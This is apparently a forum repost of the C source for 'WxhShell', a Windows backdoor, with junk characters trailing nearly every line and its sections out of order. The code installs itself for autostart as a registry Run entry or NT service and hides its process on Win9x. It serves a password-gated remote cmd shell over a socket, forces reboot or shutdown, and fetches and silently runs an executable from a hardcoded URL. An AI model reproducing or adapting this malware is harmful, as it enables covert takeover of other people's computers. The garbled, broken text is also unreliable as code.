    if(Boot(SHUTDOWN)) jl}$HEI5m}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3qi_]*dD  
    else { ^ve14mbF#.  
    closesocket(wsh); sDC*J \X  
    ExitThread(0); B +Aj*\Y.  
    } S~)w\(r  
    break; {.CMD9F[  
    } *C6D3y  
  // 获取shell lb~E0U`\E`  
  case 's': { Izo!rC  
    CmdShell(wsh); xWE8W m  
    closesocket(wsh); \Q&,ISO\  
    ExitThread(0); >72JV; W]  
    break; =X1?_~}  
  } @{d\j]Nw  
  // 退出 ?j{C*|yHO  
  case 'x': { p[v#EyoC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a#0;==#  
    CloseIt(wsh); *:hy Y!x  
    break; tous#(&pK  
    } B4g8 ~f  
  // 离开 OH6^GPF6  
  case 'q': { ^Q.,\TL01  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #0"~G][#  
    closesocket(wsh); N|:'XwL  
    WSACleanup();  L}%dCe  
    exit(1); cpZc9;@IC  
    break; SO{p;g  
        } PmX2[7  
  } !EBY@ Y1  
  } 9em*r9-  
Bh]!WMAw.  
  // 提示信息 jqnCA<G~B-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @f1*eo5f  
} K#mOSY;}  
  } zsXpA0~3s  
/rc%O*R  
  return; S* R,FKg  
} ?GT@puJS-  
^%>kO,  
// shell模块句柄 Y&.UIosWb  
int CmdShell(SOCKET sock) #{J,kcxS  
{ |L6&Gf]#5  
STARTUPINFO si; 'UU\4M  
ZeroMemory(&si,sizeof(si)); !#yq@2QX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,'fxIO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EbY,N:LK  
PROCESS_INFORMATION ProcessInfo; NjuiD].  
char cmdline[]="cmd"; wBSQ:f]g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /+]s.V.  
  return 0; Q \hY7Xq'  
} P9Q~r<7n  
e [h8}F  
// 自身启动模式 /=?x{(B>  
int StartFromService(void) 23\RJpKb  
{ -~{c u47_  
typedef struct U(>4s]O6  
{ b7`D|7D  
  DWORD ExitStatus; O[^%{'  
  DWORD PebBaseAddress; ,:2'YB  
  DWORD AffinityMask; / ~ %KVe  
  DWORD BasePriority; &[Xu!LP  
  ULONG UniqueProcessId; `fNpY#QsN  
  ULONG InheritedFromUniqueProcessId; pKUP2m`MW  
}   PROCESS_BASIC_INFORMATION; kOwMs<1J  
2B0W~x2=  
PROCNTQSIP NtQueryInformationProcess; 1T&Rc4$Sn7  
uN*KHE+h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VosZJv=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $ ,Ck70_  
;*TIM%6#  
  HANDLE             hProcess; c_grPk2O4  
  PROCESS_BASIC_INFORMATION pbi; "p&Y^]  
enS}A*Io  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3f.b\4 U  
  if(NULL == hInst ) return 0; 2j JmE&)7,  
f"G-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JCx WWre  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }_/Hdmmx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >eQr<-8  
{Bs~lC$  
  if (!NtQueryInformationProcess) return 0; ^ 2GHe<Y  
$4kH3+WJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M-L2w"  
  if(!hProcess) return 0; ,_aM`%q?Fj  
ok^d@zI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1d"Z>k:mn  
)~4II.`%^  
  CloseHandle(hProcess); @+vXMJ$  
EKEjv|_)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,u }XW V  
if(hProcess==NULL) return 0; iXu]e;6  
&X@Bs-  
HMODULE hMod; :P,sxDlG)  
char procName[255]; E1dD7r\  
unsigned long cbNeeded; nkxzk$  
4(e59ZgY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1wzqGmjmt  
fx=Awba  
  CloseHandle(hProcess); Nk=JBIsKv  
fbyQjvURnC  
if(strstr(procName,"services")) return 1; // 以服务启动 t*z~5_/  
v(*C%.M)  
  return 0; // 注册表启动 PWh^[Rd)  
} !TZhQiorC  
D']ZlB 'K  
// 主模块 V@>r*7\F  
int StartWxhshell(LPSTR lpCmdLine) ~<<nz9}o_  
{ /27JevE  
  SOCKET wsl; "|;:>{JC  
BOOL val=TRUE; tQZs.1=z  
  int port=0; RZM"~ 0  
  struct sockaddr_in door; >AoK/(yL.  
Z3>N<u8)  
  if(wscfg.ws_autoins) Install(); hjaT^(Y  
]k9)G*  
port=atoi(lpCmdLine); 4}_O`Uxh  
Fk(JSiU  
if(port<=0) port=wscfg.ws_port; NCxqh<  
?$f)&O  
  WSADATA data; )jq?lw'&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >=]'hyn]]  
R'kyrEO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DI!V^M[~u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c/B'jPt  
  door.sin_family = AF_INET; v9Xp97J2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pO8ePc@=D  
  door.sin_port = htons(port); U4 13?Pe  
V9ssH87#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "NgoaG~!YO  
closesocket(wsl); : tWU .f#  
return 1; V5p= mmnA,  
} P"<U6zM\sP  
)'*5R<#  
  if(listen(wsl,2) == INVALID_SOCKET) { 5,)Q w  
closesocket(wsl); a0Ik`8^`  
return 1; rP!#RzL  
} =]-j;#'&  
  Wxhshell(wsl); ',GS#~  
  WSACleanup(); C7H/N<VAq  
cBo{/Tn:  
return 0; {EdH$l>94  
Y?ez9o:/#  
} 1SrJ6W @j[  
.S(,o.  
// 以NT服务方式启动 u_7~TE3W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w[6J `   
{ V/LQ<Yke  
DWORD   status = 0; 9b?SHzAa  
  DWORD   specificError = 0xfffffff; ?|:BuHkT  
WD'#5]#Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; = waA`Id  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RxMH!^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?BhMjsy.  
  serviceStatus.dwWin32ExitCode     = 0; w`l{LHrR  
  serviceStatus.dwServiceSpecificExitCode = 0; `b c;]@"  
  serviceStatus.dwCheckPoint       = 0; erVO|<%=R  
  serviceStatus.dwWaitHint       = 0; mrV!teP  
gIA@l `"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uUKcB:  
  if (hServiceStatusHandle==0) return; V5U?F6  
au,t%8AC  
status = GetLastError(); CR2_;x:0  
  if (status!=NO_ERROR) %r4 q8-  
{ Py`N4y ~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :8A!HI}m{  
    serviceStatus.dwCheckPoint       = 0; 7}jWBK  
    serviceStatus.dwWaitHint       = 0; ~Y.tz`2D  
    serviceStatus.dwWin32ExitCode     = status; wu"&|dt  
    serviceStatus.dwServiceSpecificExitCode = specificError; \P1=5rP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  jq08=  
    return; |AC1\)2tT  
  } :UJa&$)  
Kt0(gQOr0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #2iD'>bQ  
  serviceStatus.dwCheckPoint       = 0; gNGr!3*)w  
  serviceStatus.dwWaitHint       = 0; |pa$*/!NT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t\$U`V)  
} GElvz'S~  
![f ![l  
// 处理NT服务事件,比如:启动、停止 l|5fE1K9U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L],f3<  
{ @]bPVG?d  
switch(fdwControl) n<B<93f/  
{ zXsc1erli  
case SERVICE_CONTROL_STOP: _4cvX  
  serviceStatus.dwWin32ExitCode = 0; pStk/te,XK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $wYFEz  
  serviceStatus.dwCheckPoint   = 0; P9T5L<5  
  serviceStatus.dwWaitHint     = 0; n&A'C\  
  { $4MrP$4TI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?uMQP NYs  
  } -R>}u'EG>  
  return; >3u ]OSb  
case SERVICE_CONTROL_PAUSE: dJ?XPo"Cm=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %6--}bY^  
  break; N N|u_  
case SERVICE_CONTROL_CONTINUE: qaim6a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jgS%1/&  
  break; exdx\@72  
case SERVICE_CONTROL_INTERROGATE: WL+]4Wiz  
  break; <)*2LBF@]  
}; sE{pzPq!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Z5##dS3  
} _Jv 9F8v  
5d@t7[]  
// 标准应用程序主函数 s( <uo{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &uUo3qXQ5l  
{ +\Q?w?DE|  
}3R13   
// 获取操作系统版本 `"@X.}\  
OsIsNt=GetOsVer(); 1009ES7*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3sCFHn#c  
i ZL2p>  
  // 从命令行安装 /=uMk]h  
  if(strpbrk(lpCmdLine,"iI")) Install(); VOsqJJ3  
zY+Fl~$S  
  // 下载执行文件 lt$zA%`odc  
if(wscfg.ws_downexe) { \Ep0J $ #o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }bU8G '  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,@z4I0cTi\  
} n]+W 3[i  
aAu>Tn86D.  
if(!OsIsNt) { x_|F|9  
// 如果时win9x,隐藏进程并且设置为注册表启动 |lH;Fq{\  
HideProc(); juBw5U<  
StartWxhshell(lpCmdLine); x{ }z ;yG  
} k#bu#YZk  
else FZiW|G  
  if(StartFromService()) }B7K@Wu#  
  // 以服务方式启动 i~J;G#b  
  StartServiceCtrlDispatcher(DispatchTable); YJxw 'U >P  
else ~tB;@e  
  // 普通方式启动 (yo;NKq,@  
  StartWxhshell(lpCmdLine); ,a?\M M9$  
HmK*bZ  
return 0; a'\By?V]  
} uR6w|e`  
8 6QE /M  
TaJB4zB  
h  x6;YV  
=========================================== *s}|Hy  
=\)IaZ  
PZ8U6K'  
#n\C |  
nA>sHy  
6`\]derSon  
" h06ku2Q  
64Gi8|P  
#include <stdio.h> ?(KvQK|d4  
#include <string.h> FDFH,J`_  
#include <windows.h> 5H,G-  
#include <winsock2.h> k6IG+:s  
#include <winsvc.h> XM Vq-8B0  
#include <urlmon.h> 5TBI<K  
e`{0d{Nd  
#pragma comment (lib, "Ws2_32.lib") !rxp?V n -  
#pragma comment (lib, "urlmon.lib") _baYn`tFw-  
&;H{cv`  
#define MAX_USER   100 // 最大客户端连接数 ~!%0Z9>ap  
#define BUF_SOCK   200 // sock buffer $7I] `Jt  
#define KEY_BUFF   255 // 输入 buffer |c-LSs'\  
qUhRu>   
#define REBOOT     0   // 重启 b'>8ZIY  
#define SHUTDOWN   1   // 关机 ^c9ThV.v  
oL/o*^  
#define DEF_PORT   5000 // 监听端口 >',y  
w'Z!;4E0  
#define REG_LEN     16   // 注册表键长度 >e5zrgV  
#define SVC_LEN     80   // NT服务名长度 Pn TZ/|  
0rMqWP  
// 从dll定义API h"QbA"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (0*v*kYdL+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j.-VJo)   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "2n;3ByR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [ET6(_=b  
'\p;y7N  
// wxhshell配置信息 4 9w=kzo  
struct WSCFG { sz09+4h#  
  int ws_port;         // 监听端口 F1|zXg)  
  char ws_passstr[REG_LEN]; // 口令  :q2YBa  
  int ws_autoins;       // 安装标记, 1=yes 0=no &R]pw`mTH  
  char ws_regname[REG_LEN]; // 注册表键名 ='/Z;3jt]x  
  char ws_svcname[REG_LEN]; // 服务名 R$b,h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MUof=EJg>u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jOv"<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q&M:17+:Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <A~GW 'HB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9EgP9up{6!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AF#_nK) @  
;bHfn-X  
}; @[r={s\  
.Vx|'-u  
// default Wxhshell configuration 4UCwT1  
struct WSCFG wscfg={DEF_PORT, <Ry $7t,  
    "xuhuanlingzhe", RebTg1vGu  
    1, &G{2s J5{  
    "Wxhshell", J~J@ ]5/  
    "Wxhshell", vj3isI4lU  
            "WxhShell Service", oa0X5}D  
    "Wrsky Windows CmdShell Service", ?iln<% G  
    "Please Input Your Password: ", atnQC  
  1, O_CT+Ou  
  "http://www.wrsky.com/wxhshell.exe", xURw,  
  "Wxhshell.exe" 7Dl%UG]  
    }; +Jw{qQR/*  
V<-htV  
// 消息定义模块 vv h.@f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]18Ucf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5^F]tRz-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iBHw[X,b  
char *msg_ws_ext="\n\rExit."; :`zV [A:D  
char *msg_ws_end="\n\rQuit."; DQ5W6W  
char *msg_ws_boot="\n\rReboot..."; J 9a $AU*  
char *msg_ws_poff="\n\rShutdown..."; 6PJ'lA;*b  
char *msg_ws_down="\n\rSave to "; Y`]rj-8f0B  
`e*61k5  
char *msg_ws_err="\n\rErr!"; I7bi@t  
char *msg_ws_ok="\n\rOK!"; V2QW\2@$  
.D3`'K3t{[  
char ExeFile[MAX_PATH]; BK*UR+,  
int nUser = 0; \>;%Ji  
HANDLE handles[MAX_USER]; z `@z  
int OsIsNt; vrO%XvXW  
~*kK4]lP  
SERVICE_STATUS       serviceStatus; \d5}5J]a&n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s[Gswd  
7?"9J `*  
// 函数声明 zi_[ V@Es/  
int Install(void); +Wd L  
int Uninstall(void); ax]9QrA  
int DownloadFile(char *sURL, SOCKET wsh); bQpoXs0w;  
int Boot(int flag); .> ,Z k S  
void HideProc(void); (l2<+R%1  
int GetOsVer(void); ]]3Q*bq4  
int Wxhshell(SOCKET wsl); p`L L   
void TalkWithClient(void *cs); ;Lqm#]C  
int CmdShell(SOCKET sock); )=Y-f?o!  
int StartFromService(void); d>~`j8,B  
int StartWxhshell(LPSTR lpCmdLine); _Ua PwJ  
4NI ' (#l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >!<V\ Fj1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cY^Y!.,  
=3pD:L  
// 数据结构和表定义 }R\B.2#M_@  
SERVICE_TABLE_ENTRY DispatchTable[] = >LCjtm\  
{ y "<JE<X  
{wscfg.ws_svcname, NTServiceMain}, wb@]>MJ}[s  
{NULL, NULL} 0x6@{0  
}; r*>QT:sB  
?SB5b,  
// 自我安装 ruWye1X;  
int Install(void) zEAx:6`c  
{ we @Yw6<  
  char svExeFile[MAX_PATH]; lej^gxj/2  
  HKEY key; 2pw>B%1WP)  
  strcpy(svExeFile,ExeFile); B piEAwh  
+I?Qg  
// 如果是win9x系统,修改注册表设为自启动 "hz>{oe  
if(!OsIsNt) {  hgNY[,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eO~eu]r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;k-g _{M  
  RegCloseKey(key); z7D*z8,i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _Ac/ir[,:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gK&5HTo  
  RegCloseKey(key); //ne']L  
  return 0; TsoCW]h  
    } s|fCR  
  } "H wVK  
} m~A[V,os  
else { WsG"x>1n  
)*q7pO\cty  
// 如果是NT以上系统,安装为系统服务 a/wUeW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F(?Fz8  
if (schSCManager!=0) LC~CPV'F  
{ 5P5A,K  
  SC_HANDLE schService = CreateService yf0vR%,\  
  ( 5?#OR!N  
  schSCManager, \;A50U|r  
  wscfg.ws_svcname, [u!p-  
  wscfg.ws_svcdisp, +xoyKP!  
  SERVICE_ALL_ACCESS, (:</R$I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =%:n0S0C"  
  SERVICE_AUTO_START, $9LGdKZ_D  
  SERVICE_ERROR_NORMAL, .b!OZ  
  svExeFile, _RA{SO  
  NULL, !;xf>API  
  NULL, r_!{!i3B  
  NULL, ,6y-.m7>  
  NULL, Y&1!Z*OL;  
  NULL 3[00-~&U  
  );  )zk?yY6  
  if (schService!=0) {Kq*5Aq8  
  { pUCEYR  
  CloseServiceHandle(schService); #2ZrdD"5kQ  
  CloseServiceHandle(schSCManager); EA%#/n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nkr,  
  strcat(svExeFile,wscfg.ws_svcname); ;ZE<6;#3IP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (|ct`KU0#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^Xt]wl*]+  
  RegCloseKey(key); //'xR8Z  
  return 0; ]/<Qn-BbU  
    } rH} Dt@  
  } .H[Lo>  
  CloseServiceHandle(schSCManager); g O\f:Pg  
} ]VHdE_7)  
} pO7{3%  
W:;`  
return 1; x9{Sl[2&  
} =E6i1x%j  
;|2;kvf"w  
// 自我卸载 }~Kyw7?  
int Uninstall(void) =vqE=:X6  
{ J~yd]L>  
  HKEY key; ;03*qOYc  
I;|5C=!  
if(!OsIsNt) { :'^dy%&UB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +=29y@c  
  RegDeleteValue(key,wscfg.ws_regname); /="D]K)%b8  
  RegCloseKey(key); 3Oig/KZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d= T9mj.@  
  RegDeleteValue(key,wscfg.ws_regname); pFv[z':&Q  
  RegCloseKey(key); (>Q9jNW  
  return 0; ~:RDw<PWp  
  } R^Eu}?<f  
} TF}4X;3Dsy  
} N- ?|]4e/  
else { ekk&TTp#  
t73Z3M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q NQ3(1xW  
if (schSCManager!=0) &0<R:K?>N  
{ /xm} ?t0U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); smLD m  
  if (schService!=0) G~$M"@Q7N  
  { 2" {]A;@  
  if(DeleteService(schService)!=0) { $nd-[xV  
  CloseServiceHandle(schService); J'Mgj$T $  
  CloseServiceHandle(schSCManager); !+26a*P  
  return 0; .1?i'8TF  
  } p~zTRnm  
  CloseServiceHandle(schService); "j@IRuH  
  } |9i/)LRXe  
  CloseServiceHandle(schSCManager); m=y,_Pz>U  
} !&:W1Jkp(  
} i\R\bv[9  
kKk |@  
return 1; 17[t_T&Ak9  
} @.]K6qC  
:>-sITeY  
// 从指定url下载文件 CH_Dat >  
int DownloadFile(char *sURL, SOCKET wsh) g}og@UY7#  
{ eq 1 4  
  HRESULT hr; rxK[CDM,  
char seps[]= "/"; I8oKa$RF  
char *token; D30Z9_^%:  
char *file; 0~L 8yMM  
char myURL[MAX_PATH]; -N!soJ<  
char myFILE[MAX_PATH]; DBrzw+;e3  
]~x/8%e76  
strcpy(myURL,sURL); zSvHvs  
  token=strtok(myURL,seps); IhKas4  
  while(token!=NULL) p){RS q  
  { QR"O)lP  
    file=token; SE-, 1p  
  token=strtok(NULL,seps); f7AJSHe  
  } 52R.L9Ai  
FbNQ  
GetCurrentDirectory(MAX_PATH,myFILE); 2o3k=hKS  
strcat(myFILE, "\\"); Hw.@Le>  
strcat(myFILE, file); 4)Wzj4qW  
  send(wsh,myFILE,strlen(myFILE),0); P*=3$-`  
send(wsh,"...",3,0); 0JL6EL>_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .8xacVyK2  
  if(hr==S_OK) jl%e O.  
return 0; ^9~%=k=  
else cx%9UK*c  
return 1; QL!+.y%  
ED_5V@  
} l{x#*~g a  
~l(tl[  
// 系统电源模块 ba:^zO^  
int Boot(int flag) ' "p*FN  
{ mP+yjRw  
  HANDLE hToken; tl#s:  
  TOKEN_PRIVILEGES tkp; f;dU72]q+  
Mp}NUQHE  
  if(OsIsNt) { }n8;A;axi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jmVy4* P_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jJC( (1|  
    tkp.PrivilegeCount = 1; p%_ :(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TmH13N]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UoT}m^ G  
if(flag==REBOOT) { ]KT,s].  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7}85o J  
  return 0; md LJ,w?{  
} OvG|=  
else { t O;W?g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _qNLy/AY  
  return 0; m3e49 bP  
} _ 9]3S>Rn  
  } |.W;vc<  
  else { [)c|oh%  
if(flag==REBOOT) { }f*S 9V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8Y'"=!3  
  return 0; Bq`kVfx  
} ixpG[8s  
else { ,6pH *b $  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (fb\A6  
  return 0; $o H,:x?}  
} Ux]@p rAq  
} ^<+heX  
=LA@E&,j  
return 1; )S?}huX  
} EOC"a}Cq-  
LRs; >O  
// win9x进程隐藏模块 o)WSMV(&f  
void HideProc(void) 5(Oc"0''H  
{ o|C{ s   
C>ZeG Vq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IBsn>*ja<  
  if ( hKernel != NULL ) mr.DP~O:9p  
  { ZeV)/g,w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (DAJ(r~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3/05ee;|  
    FreeLibrary(hKernel); -C<aB750O)  
  } ij5YV3  
^123.Ru|t  
return; *h6i9V%'  
} {*Pp^ r  
=<xbE;,0  
// 获取操作系统版本 !CKUkoX  
int GetOsVer(void) q#Vf2U55m  
{ v(~m!8!TI  
  OSVERSIONINFO winfo; SGm? "esEt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W[s>TDc`v  
  GetVersionEx(&winfo);  sd%~pY}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FO$Tn+\6  
  return 1; bk]|C!7$  
  else Pa<X^&  
  return 0; 3LR Eue7Gr  
} d .A0(*k,  
4^&vRD,  
// 客户端句柄模块 $(U|JR@  
int Wxhshell(SOCKET wsl) ZD(gYNi  
{ .EO1{2=  
  SOCKET wsh; 1S.~-K*X  
  struct sockaddr_in client; @AOiZOH  
  DWORD myID; "Cb<~Dy  
\ 714Pyy  
  while(nUser<MAX_USER) x#D=?/~/Kv  
{ & j43DYw4  
  int nSize=sizeof(client); HV@:!zM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cht#~d  
  if(wsh==INVALID_SOCKET) return 1; 7_,gAE:kG  
iq$/ 6!t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Sls> OIc  
if(handles[nUser]==0) }JD(e}8$!  
  closesocket(wsh); \~PFD%]:3  
else D 3PF(Wx  
  nUser++; pC6_ jIZ  
  } n>WS@b/o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '#PT C,0UJ  
:z\STXq  
  return 0; ;/@R{G{+~;  
} |Bp?"8%*l  
*M:Bhw  
// 关闭 socket `;;!>rm  
void CloseIt(SOCKET wsh) Lmb<)YY  
{ =>G A_  
closesocket(wsh); cu-WY8n  
nUser--; 4tI~d8?pk+  
ExitThread(0); \ (,2^T'$J  
} amRtFrc|  
qb Q> z+c  
// 客户端请求句柄 ?D_zAh?pW  
void TalkWithClient(void *cs) G;e}z&6<k  
{ O%r<I*T^r  
VI?[8@*Z  
  SOCKET wsh=(SOCKET)cs; U:Y?2$#  
  char pwd[SVC_LEN]; b7-a0zaN  
  char cmd[KEY_BUFF]; V+^\SiM  
char chr[1]; >97N $  
int i,j; DCj!m<Y&  
.eE5pyw+C  
  while (nUser < MAX_USER) { ,f$ RE6  
R`c5-0A  
if(wscfg.ws_passstr) { *b&|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %X3T<3<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5J,vH  
  //ZeroMemory(pwd,KEY_BUFF); <t8})  
      i=0; tm$3ZzP4  
  while(i<SVC_LEN) { N$ ?qAek  
[(C lvGx  
  // 设置超时 FEkx&9]  
  fd_set FdRead; M<SZ7^9<  
  struct timeval TimeOut; 8:f( PN  
  FD_ZERO(&FdRead); wegBMRQVp  
  FD_SET(wsh,&FdRead); {0?76|  
  TimeOut.tv_sec=8; Q-\: u~  
  TimeOut.tv_usec=0; /O9z-!Jz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d$!ibL#o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =#W6+=YN8  
E:2Or~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R7#B_^ $  
  pwd=chr[0]; y0 xte&  
  if(chr[0]==0xd || chr[0]==0xa) { e. [h  
  pwd=0; WaYT\CG7y  
  break; ujaaO6oZ7  
  } (UCWSA7oc  
  i++; NOvN8.K%  
    } (uSfr]89'  
1'ZBtX~A  
  // 如果是非法用户,关闭 socket xu3qX"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r'&VH]m  
} :>|[ o&L  
SO|$X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [L:,A{rve  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =oBV.BST u  
tlj^0  
while(1) { ]'hz+V31%  
`On%1%k8  
  ZeroMemory(cmd,KEY_BUFF); Ls( &.  
z Mtx>VI  
      // 自动支持客户端 telnet标准   2QdqVwm  
  j=0; LBTf}T\  
  while(j<KEY_BUFF) { Gx!Y 4Q}-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tks1*I$S<  
  cmd[j]=chr[0]; H?PaN)_6-+  
  if(chr[0]==0xa || chr[0]==0xd) { uZCPxog  
  cmd[j]=0; NOQM:tBO>  
  break; n*uT  
  } (<|,LagTuc  
  j++; L^dF )y?  
    } F.4xi+S_  
n}EH{k9#  
  // 下载文件 Y f1?3 (0O  
  if(strstr(cmd,"http://")) { D/v?nW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l4RZ!K*X_"  
  if(DownloadFile(cmd,wsh)) F8nR.|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "_W[X  
  else w=,bF$:fIW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cs))9'cD]  
  } KSz;D+L \  
  else { I;FHjnn(  
VX0}x+LJ  
